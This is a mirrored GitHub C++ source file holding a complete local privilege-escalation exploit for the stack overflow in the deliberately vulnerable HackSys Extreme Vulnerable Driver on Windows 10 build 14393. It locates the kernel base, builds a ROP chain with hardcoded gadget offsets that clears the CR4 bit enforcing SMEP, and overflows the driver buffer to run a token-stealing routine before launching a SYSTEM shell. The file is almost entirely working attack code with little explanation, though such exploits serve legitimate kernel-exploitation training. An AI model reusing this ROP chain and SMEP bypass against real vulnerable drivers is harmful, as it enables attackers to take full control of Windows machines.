mirror of
https://github.com/MrAle98/HEVD-StackOverflow-x64-SMEPBypass
synced 2026-06-08 11:53:57 +00:00
MrAle98
141 lines
6.9 KiB
C++
141 lines
6.9 KiB
C++
#include <stdio.h>
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#include <Windows.h>
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#include <psapi.h>
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// Windows build : 14393.rs1_release.180329-1711
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// ntoskrnl's version: 10.0.14393.2189
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#define GADGET1 0x00157cb0 // pop rcx; ret
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#define CR4_NEWVALUE 0x070678 //set 20th bit to zero in order to disable SMEP
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#define GADGET2 0x003d92eb //mov cr4,rcx; ret
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extern "C" VOID StealToken(void);
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// Set to TRUE if you're looking for EIP offset, otherwise set to FALSE and set EIP_OFFSET
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#define LOCATE_OFFSET FALSE
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// Set this value to the RIP offset you figured out, or to <=5000 if you didn't figure it out yet
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#define EIP_OFFSET 2072
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#define REG_SIZE 4
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// Buffer size to be used
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#define SIZE 2104
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#define ARRAY_SIZE 1024
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// IOCTL to trigger the stack overflow vuln, copied from HackSysExtremeVulnerableDriver/Driver/HackSysExtremeVulnerableDriver.h
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#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
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char uniq[3600] = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em";
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int main()
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{
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PDWORD64 payload_address, ropAddress;
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DWORD bytesRet;
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LPVOID drivers[ARRAY_SIZE];
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LPVOID baseAddress;
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DWORD64 ROP_chain[3];
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DWORD cb;
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DWORD cbNeeded;
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BOOL res;
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char nameDriver[1024];
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char pathDriver[1024];
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int cDrivers, i;
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EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
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/* The commented section retrieves information about every device driver in the system
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cDrivers = cbNeeded / sizeof(drivers[0]);
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printf("DriverBaseAddress DriverName DriverPath\n");
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for (i = 0; i < cDrivers; i++) {
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GetDeviceDriverBaseNameA(drivers[i], nameDriver, ARRAY_SIZE);
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GetDeviceDriverFileNameA(drivers[i], pathDriver, ARRAY_SIZE);
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printf("0x%8p %s %s\n", drivers[i], nameDriver, pathDriver);
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}
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*/
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GetDeviceDriverBaseNameA(drivers[0], nameDriver, ARRAY_SIZE);
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printf("[+]%s base address: 0x%8p\n", nameDriver, drivers[0]);
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baseAddress = drivers[0];
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ROP_chain[0] = DWORD64(baseAddress) + GADGET1;
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ROP_chain[1] = (DWORD64)(CR4_NEWVALUE);
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ROP_chain[2] = (DWORD64)(baseAddress)+GADGET2;
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HANDLE device = CreateFileA(
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"\\\\.\\HackSysExtremeVulnerableDriver",
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GENERIC_READ | GENERIC_WRITE,
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0,
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NULL,
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OPEN_EXISTING,
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FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
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NULL);
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if (device == INVALID_HANDLE_VALUE)
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{
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printf("[-] Failed to open handle to device.");
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return -1;
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}
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printf("[+] Opened handle to device: 0x%8p\n", device);
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// Allocate memory to construct buffer for device
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char* uBuffer = (char*)VirtualAlloc(
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NULL,
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SIZE,
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MEM_COMMIT | MEM_RESERVE,
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PAGE_EXECUTE_READWRITE);
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if (uBuffer == NULL)
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return -2;
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printf("[+] User buffer allocated: 0x%8p\n", uBuffer);
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if (LOCATE_OFFSET)
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{
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memcpy(uBuffer, uniq, sizeof(char) * 50);
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//memset(uBuffer, 0x41, sizeof(char) * EIP_OFFSET);
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//memset(uBuffer + EIP_OFFSET, 0x42, sizeof(char) * 8);
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}
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else
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{
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memset(uBuffer, 0x41, sizeof(char) * EIP_OFFSET);
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ropAddress = (PDWORD64)(uBuffer + EIP_OFFSET);
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for (i = 0; i < 3; i++) {
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*(ropAddress + i) = ROP_chain[i];
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}
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payload_address = ropAddress + i;
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*payload_address = (DWORD64)&StealToken;
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}
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/*
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printf("[+] Address payload: 0x%8p\n", &StealToken);
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printf("[+] Return address: 0x%8p\n", *payload_address);
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printf("[+] Address of return address: 0x%8p\n", payload_address);
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printf("[+] Buffer layout after 0x41s\n");
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for (i = 0; i < 4; i++) {
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printf("0x%8p: 0x%8p\n", ropAddress + i, *(ropAddress + i));
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}
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*/
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if (DeviceIoControl(
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device,
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HACKSYS_EVD_IOCTL_STACK_OVERFLOW,
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uBuffer,
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SIZE,
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NULL,
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0,
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&bytesRet,
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NULL
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))
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{
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printf("Done! Enjoy a shell shortly.\n\n");
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system("cmd.exe");
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}
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else
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printf("FUUUUUUUUUUUUU");
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}
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